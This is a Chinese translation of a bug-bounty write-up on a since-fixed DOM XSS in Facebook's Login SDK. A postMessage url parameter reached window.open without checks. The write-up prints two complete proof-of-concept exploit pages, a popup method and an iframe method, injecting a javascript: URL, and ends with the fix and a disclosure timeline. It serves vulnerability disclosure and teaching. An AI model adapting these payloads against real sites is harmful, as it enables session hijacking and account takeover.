聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士团队

通过 postMessage造成的 DOM XSS 漏洞是一个被低估的漏洞,很多漏洞猎人基本不会注意这个漏洞。

最近,我开始查看客户端的漏洞而不是像往常那样查找公开的控制面板和凭证。

最开始时,我开始查找 XSSI、JSONP 和 postMessage问题。但XSSI 和 postMessage 漏洞极少能被人找到,自从 SameSite cookie 引入后这些漏洞就消失了。因此,我对查找 postMessage 漏洞更感兴趣,因为虽然基本上安全研究员会忽视这些漏洞,但很容易进行调试而无需绕过防火墙。

同时,为了更加便于调试,我创建了一个 Chrome 扩展来查看/记录页面上发生的窗口通信。通常来讲,网站在小部件、插件或 web SDK 上使用 iframe 通信。因此,当我在 Facebook 上查找 iframe 问题时,立即到https://developers.facebook.com 并开始研究 Facebook 的第三方插件。

我注意到,Facebook Login SDK forJavaScript 为跨域通信创建了一个代理iframe v6.0/plugins/login_button.php。代理框架渲染Continue with Facebook按钮。但有意思的是 javascript SDK 将一个 init payload 发送到代理框架中,其中包含该按钮的点击 URL。Login SDK 的流如下:

Third-Party website + (Facebook Login SDK for JavaScript)

<iframe src='https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&button_type=continue_with&channel=REDIRECT_URL&sdk=joey'>
</iframe>

The Facebook Javascript SDK sends the initial payload to the iframe proxy.
iframe.contentWindow.postMessage({"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'INT_ID',
'url':'https://www.facebook.com/v7.0/dialog/oauth?app_id=APP_ID&SOME_OTHER_PARAMS',
'size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971'screenWidth':1680}}})},"origin":"APP_DOMAIN"}, '*')

When an user clicks Login with Facebook button,
window.open('https://www.facebook.com/v7.0/dialog/oauth?app_id=APP_ID')
happens on the proxy iframe.
Which is the url from postMessage payload

The popup window sends the accesstoken and signed-request to the third-party website by
window.opener.parent.postMessage(result, origin)

如果仔细查看该 payload,SDK 向 Facebook 插件发送 iframe。参数 param 下沉到一个变量 I 且当该按钮点击事件触发器时,如下函数得以执行。

i.url = i.url.replace(/cbt=\d+/, "cbt=" + a);
a = window.open(i.url, i.id, b("buildPopupFeatureString")(i));

当我看到这个 javascript 时,我当时的反应是“真的,我就知道会这样”!因为可通过window.open(‘javascript:alert(documentdomain)’)利用 DOM XSS,并且该 javascript 中并没有url/schema验证。

因此如果我们向https://www.facebook.com/v6.0/plugins/login_button.phpiframe发送带有https://www.facebook.com/v6.0/plugins/login_button.php的payload,用户点击continue with Facebook按钮,则 facebook.com 域名上会执行javascript:alert(document.domain)。

利用 iframe

利用该问题的方法有两种。

1、打开弹出窗口并与之进行通信。

2、打开一个 iframe 并与之通信。

弹出方法

<script>   var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1");setTimeout(function(){var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};opener.postMessage(message, '*');},'4000');
</script>

Iframe 方法

由于这个端点有意缺失 ‘X-Frame-Options’ 或 CSP ‘frame-ancestors’标头,因此该页可被嵌入攻击者页面。

<script>
function fbFrameLoaded() {var iframeEl = document.getElementById('fbframe');var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};iframeEl.contentWindow.postMessage(message, '*');
};
</script>
<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true" onload="fbFrameLoaded(this)"></iframe>

修复方案

Facebook 通过在 payload 参数 url 中增加 facebook.com 正则表达式域名和图式检查的方式修复了这个漏洞。

影响

由于post信息配置不正确,如有人访问受攻击者控制的网站并点击“通过 Facebook 按钮登录”,则可以登录用户身份触发 facbook.com 域名上的 XSS。这可导致一次点击接管账户的后果。

时间轴

2020年4月17日:发送首份报告

2020年4月17日:证实报告问题

2020年4月20日:Facebook 推出修复方案

2020年4月29日:Facebook 确认修复方案

2020年5月1日:Facebook 颁发2万元奖金

相关参考资料请见:

  • https://javascript.info/cross-window-communication

  • https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/

  • https://ngailong.wordpress.com/2018/02/13/the-mystery-of-postmessage/

推荐阅读

我找到一个价值5.5万美元的 Facebook OAuth账户劫持漏洞

Facebook 紧急修复暴露页面管理员账户的 bug

原文链接

https://vinothkumar.me/20000-facebook-dom-xss/

题图:Pixabay License

本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 www.codesafe.cn”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

 点个 “在看” ,加油鸭~

算捡漏么?我发现了一个值2万美金的 Facebook DOM XSS 漏洞相关推荐

  1. frame越过另一个frame_一个价值2万美元的Facebook DOM XSS漏洞

    前言 一直认为通过postMessage进行的DOM XSS是一个被低估的漏洞,并且大多数白帽子都没有注意到它的安全价值. 最近一段时间,开始研究客户端漏洞,比如寻找XSS,JSONP和postMes ...

  2. windows系统和linux系统可以使用相同的js代码吗_使用Sboxr自动发现和利用DOM(客户端)XSS漏洞...

    这一系列的博客文章将向你展示如何在单页或富JavaScript的应用程序上识别DOM XSS的问题.作为示例,我们将在DOM XSS playground(https://domgo.at)上解决10 ...

  3. 【11.18总结】从SAML出发在重定向中发现的XSS漏洞

    Write-up地址:How I Discovered XSS that Affects around 20 Uber Subdomains 作者:fady mohammed osman 总算回家了, ...

  4. 什么用计算机算出自己在世界上活.了几天,据说科学家发现了一个“寿命计算器”,来算一下自己能活多久?...

    原标题:据说科学家发现了一个"寿命计算器",来算一下自己能活多久? 为什么有的人能活到100岁? 为什么有的人却早早离世? 到底是什么影响着我们的寿命? 据生命时报,美国坦普尔大学 ...

  5. 算法—2,记一个自己的算法题 计算数字k在0到n中的出现的次数,k可能是0~9的一个值

    3 计算数字k在0到n中的出现的次数,k可能是0~9的一个值 例如n=12,k=1,在 [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12],我们发现1出现了5次 (1 ...

  6. mysql按位存储_数据库中用一个值来保存多种情况:二进制和按位异或

    例如,某个房间可从[灯,床,桌,椅,杯子,饮水机--]这些器具中挑选,从而组成这个房间的装潢.我们可能会设计一个房间表,再设计一个器具表,再设计一个关系表,通过这个关系表来保存它们之间的对应关系.但是 ...

  7. mysql 主键 下一个值_INNODB自增主键的一些问题 vs mysql获得自增字段下一个值

    root@localhost : test 04:23:28>show variables like 'innodb_autoinc_lock_mode'; +----------------- ...

  8. python 计算数字 k 在 0 到 n 中的出现的次数,k 可能是 0~9 的一个值

    3. 统计数字 中文English 计算数字 k 在 0 到 n 中的出现的次数,k 可能是 0~9 的一个值. Example 样例 1: 输入: k = 1, n = 1 输出: 1 解释: 在 ...

  9. html5遍历集合数据,HTMLCollection集合能打印出来值,但是无法获取每一个值。

    var imgs = $("#pictureQueryTable img").prevObject[0].images; 下图是上面这句打印出来的结果: console.log可以 ...

最新文章

  1. Metasploit的三种启动方式
  2. java发送get请求_如何快速掌握Java技术 Tomcat知识点有哪些
  3. Hi3516A开发--编译整个osdrv目录所遇到的问题总结
  4. hashcode java_java 的Object类的hashcode()方法具体是怎么实现的?
  5. javascript中的this讲解
  6. Mr.J--验证码登陆模块
  7. 设置eclipse代码自动补全功能
  8. 创建第一个RMI应用
  9. 3-6 读写二进制文件
  10. MockingBrid(AI拟声)教程
  11. 彻底卸载VS2015的工具及使用方法,亲测有效!!!
  12. 元旦快乐代码html,好看的元旦节祝福留言代码:元旦快乐,踩个顶个走人
  13. 与速度对偶的角速度系公式
  14. hook read_chk 导致dex2oat进程 abort
  15. HTML5 页面布局【结合案例】
  16. 基于ARM裸机的知识点总结(9)------- S5PV210的定时器、看门狗和RTC
  17. 牛客网暑期ACM多校训练营(第六场) C.Generation I (思维+逆元+组合数学)
  18. 爱她就送ta一场樱花雨
  19. 虚拟机的网络改为桥接网络
  20. python自动获取cookie_python如何获取cookie

热门文章

  1. 力扣算法题—095不同的二叉搜索树【二叉树】
  2. 一天赚148万元,科大讯飞2018年净利润达5.42亿,但53%为政府补助
  3. LInux下如何挂载光盘找rpm包?
  4. 洛谷P5050 【模板】多项式多点求值
  5. 在 Laravel 5 中集成七牛云存储实现云存储功能
  6. MariaDB 10.0.X中,动态列支持 JSON 格式来获取数据
  7. java开始到熟悉60
  8. CPU溫度高的9種可能
  9. python数据可视化是什么_python3数据可视化是什么?
  10. 实体属性变更历史记录框架(三)-变更历史记录从此无忧